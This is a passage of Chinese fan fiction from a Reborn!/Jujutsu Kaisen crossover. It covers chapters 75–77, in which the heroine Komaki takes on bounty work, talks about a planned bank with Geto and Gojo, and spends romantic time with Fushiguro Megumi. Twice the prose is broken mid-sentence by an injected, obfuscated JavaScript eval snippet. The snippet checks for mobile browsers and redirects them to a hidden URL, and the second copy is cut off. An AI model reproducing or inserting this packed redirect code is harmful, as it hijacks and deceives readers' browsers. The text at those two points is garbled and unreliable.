小莳的人设是六七岁孩子的宝妈,高中以上的教育话题她一概不参与,她本人也不怎么上学,考试和课业不太擅长。 两人还关心到了灰原雄的学业方面,听闻他辍学纷纷感到可惜,到这里小莳可就有话说了:“但那孩子煮的面真的很好吃。”而且他一个人在后厨的效率就能cover不在店里在学校的顺平,下面煮汤炸物,他一人足矣。 好不容易回到了家,灰原雄的妹妹也活到了比他更年长的年龄,他实在不必回高专,好好享受人生就很好。不过小莳也没想到喜欢大白饭的他最后会一直留在拉面店。 这两个算是竞品对吧? 小莳离开这场茶话会的时候是下午四点,此时奈奈要出门买菜,她正好一起。吉野拉面里采购的事情也一并交给了全能的灰原雄,老板凪只需要回去看店收银,在高峰期搭把手即可,就不去生鲜市场采购了。 她们在泽田家门口道别。 小莳侦查能力绝对是六边形图标里数一数二弱的,另外一个是体术,即便如此她仍然感受到一道目光。 估计是哪个拙劣的诅咒师。 先不管他。 她和框着菜篮子的奈奈走在道上,陪她经过了几家小店,和她一起向认识的店主打了招呼,奈奈的人缘和社区风评一向优秀,大家主动与她闲聊也正常。 小莳在这时候会摆弄手机,就像陪朋友逛街时会在店里坐着等她试衣服时的打发时间行为一样,直到有个人迎面撞了她。 小莳什么都没看清就差点跌倒,她扶着奈奈的手惊呼一声,并且注意维护形象没让手里拎着的大葱和胡萝卜掉地。 如果掉地可就要自己捡了,这种事情果然还是太勉强! 她想看看是谁撞到了自己,还没抬头却听到了熟悉的声音:“抱歉啊。”同时那人以飞快的速度越过她们,小莳甚至肉眼看不清。 那道身影消失不见了。 她这张脸没露出什么表情,因为幻术,但实际上小莳本人收到了惊吓,刚刚那声音,怎么像伏黑甚尔? 小莳扯扯奈奈的袖子,难得打断她的闲聊:“奈奈,刚刚是有人撞到我了对吧?人呢?” “啊,抱歉,我没看到,你还好吗?” “……”她实在想象不出来任何情况下自己会臆想前任。 小莳一点也不好,她觉着大白天见到鬼了,但她没让这种恍惚控制自己太久,很快将事情压下去,随后发现也不是没有好事发生,碍人的目光也不见了,兴许是那个蹩脚的诅咒师自己放弃了偷看妇女买菜闲聊。 不管是遇到一个疑似前男友的人,还是眼花了仿佛看见前男友,这事过去以后就没再留痕,小莳也刻意将它忘掉,将之抛在脑后。 接下来几天内,她成为了一名诅咒师论坛上的新人鲨手。出于国情和社会环境问题,无论是咒术师还是诅咒师,男性的数量都远远大于女性,小莳手指都不用动就可以给自己变个性,但她没有。 于是稍高的交付频率和刻板印象中与之不匹配的性别引来了一些关注,小莳给自己找了个代理人,起因是他毛遂自荐,称他的手上能拿到一些更稀有罕见价格也更高的单子。 他以为自己的价码很有诱惑力,实际也确实如此,只是和他想的不一样。小莳看上了他的代送功能,她的地狱之眼很好用,好用就好用在收纳进去的东西再也吐不出来,只进不出。 至于他提出的更高级别的单子……她不缺钱,不至于为了赚点外快本末倒置。 他们见面的第一次,小莳就送了他一车的人,并提供了银行卡号。 “电话?这就不用留了,我是个注重隐私的lady。有业务会联系你。”俗话说得好,asecret……后面忘了。小莳现在用幻术改造成金发眼睛商务女性,广泛出现在各种金融广告上的流水线形象,灵感源自她曾经的英语教师,后来发现她白天是严谨女老师,晚上是潜伏在异国的FBI,这种身份的双重性和灰原哀与柯南不谋而合。 而且美国人是一种……出现在世界上哪个角落都不会令人感到奇怪的,嗯,所以取材一下朱蒂也很合理。 “作为代理费,我要收取一成酬劳,剩下打给你。” 外表是金发明媚女性,但小莳把自己的形象裹得严严实实,又土又大的针织圆帽,像十年前古董的外套,以及刚出土的墨镜。她是学的风的包子铺老板穿搭,虽然他本人如果在场的话也许不会愿意承认。 代理人这些年见识了不少奇怪的人,眼前的人怪异程度在他这排不上前三。 “可以,你把它们带走就行。”这十成的酬金,五成上供给夏油杰,一成被中间商抽掉,最后到手只有四成,幸好不用交税,不然拿到手就和厂里的工人一样层层盘剥到几乎没有了。 哦对,干活的实际人是恭弥,她只是搬运工。 那没事了,比上不足比下有余。 * 代理人速度很快,小莳当晚就收到了两笔款项不大的转账。她接下来就放着没管这张卡。 在她准备接着像以前一样享受几天人生时,工作又找了上门。 “像我这样兼具才华与灵气的女孩,业务和金钱都会源源不断自己找上门来。”因为赏金和门外顾问而不总回家,她在彭格列基地也有了自己的房间。“但现在可是周末!” 夏油杰给了她一份提案,关于银行设并选址。世界融合多多少少带来了新的生态,而在当代,无论是犯罪的繁荣还是产业的发展都离不开资金。银行就是运作于体系下的血管中枢,资金在其中有序运转。 “东京不是早就有五家并盛银行了吗?”小莳没接--一旦接过基本就甩不开了,而且她觉得也没有新建的必要:“去年年底,我看过下面传上来的数据,看起来虽然居民对突然多了个【并盛】接受良好,但实际上几乎没人去那办任何业务,无论是储蓄还是贷款,都要找熟悉的,所以并盛银行的工作远不到饱和。”彭格列在日本的业务也不多。 夏油杰强行拉住小莳的手把册子递给她:“云雀要建的是风纪银行,而他点名了你。我只是传达一下领导的意见。” “这会他又是你领导了?”明明差不多算平级,太狡猾了夏油杰!小莳知道这是悬赏的事情让恭弥不快了,他要拉她下水,否则明明有更合适的人选。“他这孤高的流云也太孤高了,这算什么?有肯德基的地方一定会有麦当劳吗?” 东京一共只有五家并盛银行,而计划建设的两个风纪银行的预选址100米内都有并盛银行。所以说有什么资金往来直接借着彭格列这边走不就行了嘛! “工作嘛,是这样的。”夏油杰温柔地对小莳笑。 “……”听斯库瓦罗说杰以前不是这样的,绵里藏针的微笑好可怕,他的骄傲都被风纪磨没了吗?“你现在变得好……就是有一种贤内助的感觉。”是社畜度减50%,颜值加80%,发型奇怪度维持不变的草璧。 夏油杰一周的好心情毁于此刻。 小莳难得真身在并盛溜了一圈,身边是夏油杰和奈亚。 “现在我很贵,请给我左右护法。”她站在两人中间,形象上看三个人合成一个凹字,但大家都很俊俏,看着也不怪。 闲逛聊天中,夏油杰和她说到悬赏,正好一起听了奈亚那边回忆的的赏金升级之路,两人纷纷为论坛网友们鸟为食亡的精神点赞。只是现在都没什么人去私立百花王,好像大家都知道了那边的是个假的。 “说到这里,不会有人转而将目标投向泽田女士吗?”兄妹都是了不得的人物,但母亲只是普通人,很难保证不会有人打她的主意。 “门外顾问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413143|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至今健在,这就不用担心了,他的实力毋庸置疑。”毕竟是比泽田纲吉经历过的磨难多100倍的男人,虽然不知道他经历了什么磨难,也不想知道,但是里包恩这么说她也就听听,小莳给好友八卦:“据说在14年前他把我哥秒了。在那之前他们进行了一番感人至深的父子对话,他说【不愧是我和你亲爱的妈妈所生的,我的儿子,动作真是有模有样捏】,阿纲说【你这个不回家的男人,看拳!】然后被一拳打晕。道高一尺魔高一丈,邪恶总会高张。” “你不遗余力抹黑家光先生的样子真是极富危险性。”可她看不顺眼又干不掉的样子其实可爱极了。 “彭格列内战时期他确实做了很多难以理解的事情,泽田家特供爹味罢了,而且他睡觉还打呼。”代理人战的时候她还在观察期,而且还是个孩子,只在长大后看过一些绝密文件里的视频和亲历者转述。睡觉打呼倒是小莳自己听见的,真响,她嫌弃。 前后两点根本没有任何关系,夏油杰小声对她说:“你还真是一点也不尊敬他。” “是这样,我承认他很强,是个超越合格的Mafia……”但敬重是另一回事,“他除了奈奈也不喜欢别人,而且对奈奈的喜欢也--你会相信一个人总是不回家,总是有的忙,总是什么都不说,甚至想过杀掉和你的孩子,但他爱你吗?世上怎会有如此可怕的爱。” “……想把你关到监狱不算想干掉你,而且严格说你并不是他和泽田女士的孩子。”夏油杰以为小莳是在说自己小时候差点被复仇者抓走的事情。 她耸耸肩说:“谁知道呢?”杰不清楚,但她可明白,泽田家光当时想干掉的可是亲儿子啊,至少那杀意是真的。 这男人就是会把情感排在工作之后,这让他很强,但也让他难免孤独。不过她非他,说不定他正乐在其中呢?小莳对此不感兴趣。 奈亚看出了小莳不遇多说,也从小莳记忆里清楚知晓那一段往事,他很自然的问小莳想吃什么,小莳选择了冬日搭档寿喜锅。 下饭的话题又回到悬赏:“说白了我现在身上有一半的活都是因为悬赏来的,一般来说他们要到什么时候才能消停下来呢?过来人给我介绍介绍。” 夏油杰觉得自己的身份再一次被误会了,但他好脾气的没反驳,看出了少女的苦恼,说:“恶龙盘踞的宝藏总有人觊觎,可如果宝藏本身就有剧毒,绝大多数人就只会望洋兴叹了吧?” 小莳吃下了一口奈亚煮的和牛肉,裹着蛋液,又甜又滑,一口入喉,她说:“大师我悟了!”她并不愚钝,立刻就明白了其中意思。 夏油杰接着说:“悟的悬赏在出生时就列出,在他十岁那年第一次自己上街……”讲述了五条悟在小小年纪就凭一己之力让身上的悬赏无人垂涎,变相解除了加诸于身的威胁。 “你应该找个机会杀--杀一儆百。”夏油杰这么建议。 小莳怀疑他本来想讲杀鸡儆猴,但是杰现在有点恐吗喽,看在他提出了言之有效的建议份上,她放弃了这个绝佳的调侃机会。 食指隔空对着太阳穴转了几圈,她说:“妄想势均力敌、平分秋色,乃至于对胜负抱有愚昧的偏见,臭皮囊下面想得倒挺美。”这些人脑子有病。 奈亚适时附和:“赢得局势偶尔能靠过人的才智计谋,然而实力悬殊的情况下,驽钝的贪婪最多只能为空有野心和欲望的人造一个美梦外表的棺材。” 夏油杰听说在小莳十岁时就创造了奈亚,想必这样善于说奉承话的造物在她成长过程中参与了不少,才养成她现在这样从容自信热爱点评的性子。 真是,和悟很像,只是说话会迂回些--这并非褒义:她会以言语稍微包装自己的轻视有加,但听起来似乎比一句“杂碎”更有杀伤力。与其说她是享受吹捧,更像是在这样的环境中长大,显露张扬成自然。她只是发自内心的觉得这些称赞之词应该像镶嵌了宝石明珠的金冠一样加冕于她的头顶。 高配得感,不过夏油杰觉得她合该得到好东西,也期待她的后续。 小莳在当晚把这事情告诉了男友:“我打算找个机会一劳永逸,小小的展现一下我特级的实力。” 她不是官方认定的咒术师,也没入学,自然也不参与等级评定。但小莳早就觉得自己是特级实力了,虽然没有术式也基本没有领域。 “其实我怀疑悟当时的悬赏是禅院家放的,虽然偷偷记恨但至少有点家族的风范,成不了就挂在那让他慢慢被遗忘。我这个很有可能是意大利那边在广撒网,我以前得罪了不少无名之辈,他们中有一些遗留子孑三瓜两枣混在一起也有点小钱,众筹,然后慢慢追加,小家子气。”她躺在男友怀里,嘴巴里拼凑出了可怕的话。 得罪了无名之辈……遗留子孑,伏黑惠大概清楚女友的得罪背后暗含的意思。他开始与她主动说起自己以前的事情,然后才问她:“小莳的以前是怎样的?” 她因为他的体贴而满足高兴,她突然想到自己以前说过的话:“我之前有和我哥,征十郎说过我下次谈恋爱一定要找没有恋爱经历而且情感真挚的,居然真的实现了,真好!我本来以为我会单身很久。”毕竟在她十七岁的人生里,悸动和欢喜反而才是罕见的时间段。 “我也觉得能遇见小莳实在是太好了。” “说到这里,还有个非常有趣的地方,关于我曾经对自己的下一次恋爱预期。我在那见过的大部分日本男人也就那样,稍微杰出者如工藤这样的对她青梅竹马实在是太差劲了,和他谈恋爱不如去三途川,当然这是我个人的看法,不代表兰,总之我想着以后也许要找一个外国国籍的男友。”小莳在他怀里翻了个身,还没讲下半段脸上的笑意就遮掩不住,“我那时以为要在米花待一辈子,想迷信一下外国势力转转运,那个时候我证件上还姓赤司,是个货真价实的纯日本人。现在我是意大利人了,对于我来说,惠确实算得上外国人哦~” 这地方还能养出一个伏黑惠这样的好人,搞不好五条悟真是什么教育大师也不一定。 在男友的无语凝噎中,小莳欢快笑着并主动吻上了他,然后才和他说起自己在彭格列总部的几年,然后又去了瓦利亚,反而只有最开始的时间一直在并盛:“虽然我小时候比较沉默寡言,但后面想来最怀念的地方还是并盛,大概那是因为我比较恋旧。” 说是念旧,其实背后另有乾坤。并盛是她认知这个世界之初的锚点,正巧最近她学习到了咒术界受肉的相关知识,以此来比喻她和平行世界自己的过载记忆也未尝不可:一个意识不到灵魂和咒力存在的普通个体,他的人生只经历了平平无奇的二十余年,当它吞下特级咒物--就假设是九相图之一,那么他这一生就如此可悲的结束了,就像土地上长出了新的植株,就像新的记忆覆盖了旧的记忆,他的躯壳也被外来之物占据,即便还有过往的知识,但占据主导的终究是更为强力、更有历史的诅咒。 胀相身体曾经的主人凶多吉少,而他大概只是不幸下班晚了点或者遇到了什么事,被真人抓住。 小莳的记忆传输纯属失误,这事情就和东京以往每一起咒灵事故一样被遮掩不了了之,她至今不清楚缘故。但一个过分年幼的孩子即便不因任何恶意而遭遇不幸,即使没有任何个体与她争抢身体主动权,她还是会陷入迷惑与混乱,她可能会变得不是她。更不用说这份潘多拉魔盒一样的馈赠还给她带来了幻术上的宝贵财富。她的馈赠在不该来的时候不管不顾的像雷光一样砸下,馈赠也成负累。 就是在那样的情况下在并盛呆了一段时间,初步调整了自我认知,至少它勉强能和世界同调。并盛是她有印象的初始之地,是她认识世界的起点,是陪伴她度过一阵艰难时光的故乡,无论她去到何处,即使像蒲公英四散流浪,最后的终点,她的性灵与感官还是想回到故乡。 这些说起来就太复杂,大晚上还是说点轻松的:“就像犯罪者最后总是想回到现场去看看那样。” 伏黑惠因为恋旧一词而产生的一丝忧虑和担心被她这句话冲销,“避趋冲突和这不是一回事吧。” “怎么连惠也学会吐槽了,你以前不是这样的。” “现在是了。”他将她拉到臂弯里,主动吻她,直到两个人都有点喘不过气来,直到他的恋人白净的脸上带着激动的风韵,他说:“再来。”似乎暗中将心里的不安转移到身体的接触上,借此获得抚慰。 小莳只当他因为柔情而慌张。 最后,他抱着她,又对她说:“小莳,不要离开我。” 76. 第 76 章 男朋友的不信赖也延续至恋爱观,在热恋期的时候竟然就开始担心以后可能面临的分道扬镳,小莳不好意思直接说出她觉得至少在三个月内他们不会分手,因这反而会引起伏黑惠对于期限之后未知的担忧。 作为恋人她有责任让他更有安全感,小莳合理安排时间。抽空准备带他去解决一下前段时间他任务的插曲,她和他说起了她开学那天他处理的事件。 “惠的话一定会偷偷记在心里,比起只让自己难受,我们不如去做点有意思的事情?”小莳拿出一沓纸,冲他甩一甩,“随机打击一个无良老板!” 伏黑惠兴趣缺缺,他不认为这是个恋爱课题,其次在这种社会劳动保障领域,咒术师做不到什么。 他说:“不用了,小莳你最近不也在忙风纪集团那边的事情,还有五条老师突然上门的任务布置。”咒术界使唤不动跨领域的她,但是五条悟完全没有这方面顾忌。 而小莳不总拒绝。 小莳和伏黑惠是这样说起五条悟的事情:“五条家在并盛的一些事情上也帮了忙,而且……我们也算是朋友,看见朋友日子过得苦哈哈,除了绝交就只能稍微承担点。他一直这么忙么?” “是,像他那样的人不会总在高专,但在五条老师和你说这些前,我也不了解他具体的任务内容。” “吃醋了?很难说你是在醋谁,但是悟只是觉得你还是个孩子,过早承担责任可不是好事情。”惠惠真可爱,可只有小孩子才会想着长大,大部分大人都想摸鱼呢! 小莳在他唇上亲了一下,然后又对着红脸的男友说:“你是他的直系学生,又有强大的术式和15岁领域半开的天赋打底……工作的话毕业以后要多少有多少,还有禅院家的一堆烂摊子,等你做了特级他们无论如何也会想迎接你回去,到时候你就要和真希抢家主的位置了。” “……我不想插手禅院家。”真希前辈一定很后悔在小莳面前说起这些。 小莳对他笑:“这就是少年人常有的误解之一,你不想插手不意味着他们不想要你。流落在外的血脉本来是家族之耻,更不用说父亲还是诅咒一样的天与咒缚,离家出走后认识的母亲是没经过家族严选的女人,这样的孩子即使是十影也有不少人会希望死在外头,当做不存在也落个清净。禅院直毗人显然是想要你的,他是个真正为家族打算的有点良心的老头,可利益问题在乌合之众里博弈,即便贵为家主也可能难以协调,而悟的态度又很强势,所以你才被外置到今天。一旦成为特级……这种平衡就会被打破了吧,脸面与伦理的反对都会消失,他们至少会达成表面团结一心然后让你回去的。大家族的丢人手段数都数不清,你防不胜防。” 她说的都对,他不得不承认, “怎么样?是不是觉得无忧无虑也挺好?虽然彭格列的大家都很娇惯我,但我的认知在很小的时候就成人了,没什么机会做个小孩,仅仅作为参考,我觉得人这一生拥有一段天真的体验,是件好事哦~”看上去五条悟也这么觉得。 伏黑惠被女友暗指是小朋友,这让他有些难为情,即便如此他还是坚定告诉对方:“可我想和小莳站在一起,看见同样的风景。” 小莳冲他眨眨眼,回复:“也是呢,青春这东西对有些人来说,要等到逝去那一刻才能意识到它的存在,不过这样也未必是坏事。虽然我不觉得自己的生活有什么了不起的,但惠想和我在一起,我很高兴。所以我们就从这件事开始做起!” 四十分钟后,两人站在小莳根据地图导航打车到的公司前。 “……”怎么还是来那家公司了,伏黑惠难免觉得被愚弄,他有点恼了。 “别生气,听我说。”这憋着闷气不说等对象猜的坏习惯也不知道是从哪里学来的,幸好她明察秋毫:“作为成年人,多重身份的转变也是许多人难以适应的难题,不过我是个小天才所以还好,在这点上你五条老师做得中规中矩,是很好的咒术师,是还可以的老师,是个很烂的家主,按理说他有着33.33%的话语权,难以置信在高层混这么惨。是在我不知道的地方五条家落魄了还是怎样了吗?” 伏黑惠:“说重点。” “你好凶,呜呜。” 她的表演已经骗不到男友了,他一双绿色的眼睛盯着她等一个答案。 “作为咒术师,完成安排的任务就足够。但作为心有不满且证据确凿的正义人士,想要不平等的拯救他人可不只是袚除咒灵就能做到的,毕竟没有咒灵的黑手党世界也不乏悲惨的人。今天有一个黑心的老板要付出一点令人肉痛的钱,一双可怜的父母能得到点钱,其中那女性的父母还是失独,以及一个公司可能要遭受一些质疑。都是因为惠惠的拯救哦?” “作为小小年纪已经开始纳税的守法市民,路见不平做点好事很正常,毕竟哪个好人不想让社会更好些呢?”小莳将整理好的资料放在伏黑惠手上,“你很在意,既然如此就顺应自己的心,做些力所能及的。他们一家三口虽然已经在地狱里了,可未来也许会因为《劳动基准法》的一次贯彻而改善。这也是你想看到的吧。” 伏黑惠因为小莳的话而豁然开朗,只不过:“为什么是在地狱?” “我查过,女方家系信仰基督教,我不排除有耶稣的可能,但从生物学上判断,我不太相信处子怀孕这说法,你呢?”违背圣经的教导,他们可都会下地狱的! 玛利亚未婚怀孕诞下耶稣,这他当然是知道的……但她怎么能憋着一脸笑意,说着做好事,同时又开这样恶劣的玩笑,伏黑惠觉得对于死者不该这样冒犯。 小莳将自己和男友幻化成委托律师的模样,带着曾经的工作合同与死亡证明上门,这幅一眼看来就是不安定分子的姿态不出意外当然是被主管喊保安轰出去。 但在保安上来之前,小莳甩出了另一份足以让公司被约谈甚至重整的材料,在正常法律途径根本得不到这些东西。他们害怕极了,态度也恭敬起来,短谈五分钟后,小莳和男友当场就拿到了去年自愿离职的女士本应获得的赔偿金。 只是一笔小钱。 公司领导所宣称的“为公司带来巨大利益损失”只能哄一哄势单力薄的人。 小莳带伏黑惠去银行转了钱。 “彭格列情报系统不如风纪好用,毕竟是本土企业,关系深厚。无论是违法证据还是家庭信息,想要的勾勾手指就能有人送上来,她父母的银行卡也不例外。”她并不欲找上门去再编点想说的话,那太浪费时间。“至于这份材料,送给你。想要到此为止还是从法律上威慑都随意,你的选择至关重要。” 贿赂和税务问题总能危及到机构存亡,要是落到监管部门手里,至少也要裁掉一些部门和中层管理才能恢复元气,现在可不是好找工作的年头。 不过,这也是决策者必须面临的。因此才说,不必权衡利弊的人有时是幸运的,至少不会怎么选都错。 他没有犹豫多久,走出银行以后就提出要去邮局。 小莳陪着他填好收件信息,寄件信息由她填写,付完钱后出门有一段时间伏黑惠才反应过来这事情就算结束了。 他问:“税务局会收到这个吗?” “收多半会收到,但是是会像垃圾一样丢掉还是着手处理就得看天意了。”来历不明的东西未必会被妥善对待,小莳耸耸肩:“看他们和业绩有没缘分吧,即使是国家机构每年也是有任务指标的,不过那和我们没关系。这也是多重身份的另一要点,尊重他人命运,不要过分沉溺。”尽人事,听天命,什么都操心会老的很快的。 伏黑惠细细思考女友说的这些话,他想,小莳是一个果断的决策者,她做这些得心应手。今天,他们几乎就像普通人一样解决了问题。 好像也不普通,但她总能随手把事情完成妥当,然后毫不在意的离开。伏黑惠记忆起小莳时不时和他抱怨一二的米花町生活,即使是在那个地方,大概也没什么能阻止她像钻石一样闪闪发光,她绝不像自己说的一样平平无奇,无甚可夸耀之处。 “小莳。” “嗯?” “你之前和我说的,我觉得并不是这样。” “我说了很多话,哪句?” 伏黑惠握住她的手说:“倘若我遇见在洛山高中上学的你,我也会喜欢你,会期待学校里的每一次见面,和下一次重逢。” 突如其来的漂亮话让小莳的心一下变得拥挤,有条不紊的工作安排和晚上吃什么间被插队,造成了短暂的堵车,她说:“这可不行,那时候你才三岁,哪懂这些。” 她害羞了,因为伏黑惠分明看到了她眼里令他心悸的笑意。 过了会,他又问:“刚刚寄件人电话你填的是谁?”那串号码不属于小莳。 “哦,当然不可能留自己的手机,所以我填了夏油杰的。”偶尔记一下别人的手机号也挺好,写起来真像那么回事。 “……”还真是意料之外情理之中的答案,是独属于小莳的一套情理。 世界上每分每秒都在发生糟糕的事,小莳并不像伏黑惠一样认为自己担有对社会的责任,也不觉得自己的职责是救助他人。她可不是什么传统正派角色,这一点希望他早些知道。 所以在用餐时,小莳和男友说了:“其实我并不在意他们的死活,主要是因为不认识。陌生人的悲喜一般不会牵动我的神经,除非我选择去看去听。”死生与命运无常她见得不少,也不以为奇了。 他回应:“我知道。小莳你,并不是一般的人。” 认真恋爱总免不了生活上的事情,男友还没到要决定一生道路的年纪,不过大概率他要么在东京要么在京都:“我以后会常住意大利,其次才是并盛,其他地方大概还是咒术师的领地。” 和男朋友说起未来规划,这对小莳来说也是新鲜事,上次谈恋爱的时候她没有未来,只是恋爱,事业看起来他们也没打算让她接手,最后还没到家里安排终身大事的年纪就回来。 真的就只是两个没睁开眼睛的困兽依偎取暖,再夸张点也不过字面意义上相濡以沫的程度。 他说好。 伏黑惠的人格小莳一贯是相信的,虽然他本人觉得自己和普通意义上的善人有差距,会因为好人无差别的善意而苦恼,可小莳看来他已经有一颗高尚的心了。即使善良的心也存在被人生摧折的可能,但在现在,他这么说,就代表一定会认真把事情纳入考量。 他会思考他们的未来,这个认知让小莳的心情变得很好。不管以后会是怎样,少年时期的伏黑惠与他真挚的情感,她会一直保存在记忆中。他是个很好的人,而她也不免期待两人的将来。 伏黑惠的心情也明媚起来,女友是在以未来两人还在一起的基础上提及这些,他很高兴她能考虑这些。 不过意大利有些远了,这样就不能天天见面。 甜蜜的苦恼在更晚些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我刻板印象里的京都可是个重视父权的地方。征十郎的日子以前比我更苦,那时他是家里唯一的孩子,母亲也走了,但他是个有天赋才能的男性,在可以预见未来会获得集团的话事权。就如同诅咒可以杀死诅咒一样,权力之间也存在微妙的较量。他可以成为董事长,而我永远都只是赤司征臣的女儿。”所以一定要说的话,她大概真的有可能离家出走,做个作家或者画家,心安理得地被兄长日常接济,最后过完默默无闻的一生。 “这种说出来就令人绝望的话题我自然不可能提起,情侣之间的聊天果然还是要讲些积极向上的。”不然这恋爱谈的也太可悲了,小莳将浴巾从头上扯下来,团成一团拿在手里回头,“当然,如果说完全没有设想过就是在欺骗你了,只不过这想法通常活不过第二天。” 她想起来了,在京都二月的晚上,她有些期待和伏黑甚尔一起回彭格列的事情,不过微薄的念头就和当晚的月亮一样,在升至中天后就下坠了。 真没活过第二天,反倒是让她定下了年底之前自己一定要有决断的死线。然后她的第一段恋爱也在一个普通的放学日结束,没有泛起什么波澜。 如果把两个世界的时差算上,已经过去一年了。 “小莳想了什么?” “这不重要嘛,我们就当他死了。”尸体的事情别多问。 “……” 小莳觉得自己勇敢幻象的样子一定美丽极了,震慑得男友说不出话,他一定为自己的勇气和魄力深深折服。 夜晚他们和衣而眠的时候男友却问了很可怕的问题:“如果他来了这里,你会怎么样?” 温暖的被褥和温暖的怀抱明明应该是双倍的暖和,小莳却忍不住打了个哆嗦,“大晚上的,不要讲鬼故事啊!” “灰原雄前辈此前也是死亡去米花的,可他回来了,我只是觉得有这种可能。” “灰原很想念家人,也挂念着妹妹。但这世界上没什么值得伏黑甚尔留恋的,我猜测。就算他面前突然出现一扇门他也不会管的。”小莳还不清楚其他人世界穿越的理由,她也不好奇,至于前男友……他应该不会在意这个世界发生的任何事,咒术界对他也许就像赤司家之于她,总归是应当离开的伤心地。 而且,还是不要随便想起前任比较好,太冒昧,小莳又说:“你觉不觉得我们在床上讨论起你的父亲,这件事本身就有很严重的伦理问题?不知道你有没有看过那种嗯,就是,公媳文学,就是里面本来恩爱的小夫妻然后丈夫变成了植物人,或者干脆死掉了。顺便一提如果是植物人走向的话最后一般他还会醒过来然后发生一些有趣的事情。但仔细一想我们这个反而更像小妈文学诶!”博览群书,也没说只能读正经书。 话题如愿以偿被伏黑惠的一个吻终结。 事后他搂抱着小莳说:“我不会失去意识,不会变成植物人,不会突然死掉,你不要离开我。” 他说的好认真,一般都只会当做玩笑放过的,小莳一如既往以一个吻回应他,他嘴里还残留着她的味道,她并不在意。 然后小莳打岔:“那次以后都没有做到最后,为什么?惠明明应该很喜欢的,而且那个时候我们都很开心。” “因为……比起□□,更想和你有更多精神的共鸣。小莳,我想和你有以后。有人宣称他们可以分散处理多件事,但实际注意力大抵只能集中于一点,我想确保这一切都是真实存在,不是瞬息欢愉。” 小莳因为他的回答失神。过了一会她才用笑容掩盖住愣怔的神情,想讲些什么活跃下气氛,张口欲言又止,最后才说:“如果是惠的话,都可以。我不会离开你。” 她其实有在避免做出承诺,因为做不到的话心中终归会有亏欠,就像上次一样。可是到了特定的时间,小莳发现自己还是做不到什么都不说。 就算到了最后,情人一拍两散,余生相见的可能微乎其微,彼此怨憎也好,无感也罢,在过程中一定也见证过可贵的回忆,闪耀的花火。有心之人就难逃动情的命运,更有甚者会一次又一次奔赴同一片闪灼的火光。是的,人类就是这样一种比飞蛾更难杀的物种。 啊,爱情的诡计。 77. 第 77 章 五条悟的工作安排之谜在高层安排他进行一次出国行动是初现端倪。他带来一则讯息到小莳的宿舍:“忧太从意大利回来了。” 他不说她都不知道乙骨忧太原来是跑意大利去了。 因为是极品廉价劳动力,他们给学生的酬劳名目是奖学金,在宗教背景减税的情况下,这点直接打了0折,金额比起职业咒术师来又打了个折扣。如果小莳是管财政大权的,她也喜欢没有家世背景、惹到他约等于惹到棉花了的劳动者。 “所以呢?”一直在高专,回并盛的次数反而少了,因为她还没等到能大展身手然后让人望而却步的机会,干脆在荒无人烟的郊外过上隐居生活。 --一日三餐都吃的城里的东西,衣服有人洗,被子有人铺,有电有网有热水的那种。 闲适惬意。 五条悟先给他解释了接下来的任务:“在海外发现了羂索的踪迹,有人目击他在巴黎的一家银行取钱,还在附近买了面包。” “好时髦的百岁老人,出去看世界啦?”如果是销声匿迹三个月的重大在逃人士,上面派五条悟亲自出马也情有可原。 “一起去的还有九十九由基。”他倒是不客气,在冰箱里拿了一瓶草莓牛奶,再切了一块蛋糕,向小莳解释这位特级已经十几年不接任务,因为她想采取一种治本疗法,即让所有人都做咒术师,而咒术师恰好是不会因负面情绪产生咒灵的。 “这可糟糕了,没有PVE的游戏里大家会自发组织PVP活动。”没有工作的话,他们岂不是要成社会不安定因素?小莳最近心情都不错,愿意和他聊点开心的:“联合国怎么说?” 她现在知道了日本宝宝体质特殊,某种程度上是世界人里面的易孕体质,咒灵诞生率远高于其他国家和地区,咒术师的概率也是如此,都成咒术师就可以考虑三战了。 五条悟也是个喜剧人,谈起的话题又正好是令人喜闻乐见的抓坏人:“嗨~她已经放弃了,现在想创造出一个没有咒灵的世界,但不指望人类进化。万圣节那天晚上她和羂索聊了两句。疗效不错,时隔十余年,现在已经能接任务。高层知道这件事说不定都不想杀羂索了,给我的命令可是最好活着带回。” 将在外军令有所不受,五条悟才不打算听,他本来也不是乖顺的傀儡。他们聊了一会关于夏油杰旧尸体的安葬问题,中途伏黑惠路过被吓跑。 “葬礼的话果然要本人出席,然后再去吃一顿。我想吃萨莉亚。”野蔷薇和真希一起去吃过,据说好吃。 “你在学校输掉裤子了?这么寒酸?”五条悟想问小莳是有什么心事。 他怎么这么说,小莳有点没反应过来:“……萨莉亚是什么?不是西餐吗?” “既然是杰的大日子,至少要去吃Tabelog金奖有名的餐厅吧!” 两个人以自我为中心分别鸡同鸭讲了几句,重新被牵至正轨,五条悟说:“两个特级出任务,却不派比较好用的忧太,特地在这种时候让他回来。果然很在意呢!” 小莳心想你也知道乙骨好用……孩子都憔悴成这样了作为老师还不稍微保护下。 “我怀疑他们想把悠仁干掉。”五条悟又讲起了烂橘子们去年的一段往事,有关他们是如何发现羂索的。当代话事人们智商普遍不太高,他们起先以为夏油杰没死,想要拐弯抹角问责死刑执行人。事情因为他是活着走在路上的最强而不了了之,直到真正的夏油杰出现在并盛,他们才开始思考之前那是个假货的可能性--五条悟在此之前,在面临高层的时候,已经把这件事说了一遍又一遍。可是蠢货不相信,以为他徇私舞弊偷偷把朋友藏起来了。 “怀疑你金屋藏娇,笑死。”她挖苦。 但不管如何,夏油杰现在活得很好,她的两个女儿还有一帮曾经的诅咒师,都活得很好。小莳想到一种可能,他们不会…… “没错。愚蠢得让我有点刮目相看了。” 小莳没忍住去冰箱也拿了一杯饮料,伏黑惠帮她买的传统白砂糖气泡水,因为他不相信代糖是健康的,很在意配料表。回来坐在五条悟面前细细分析。 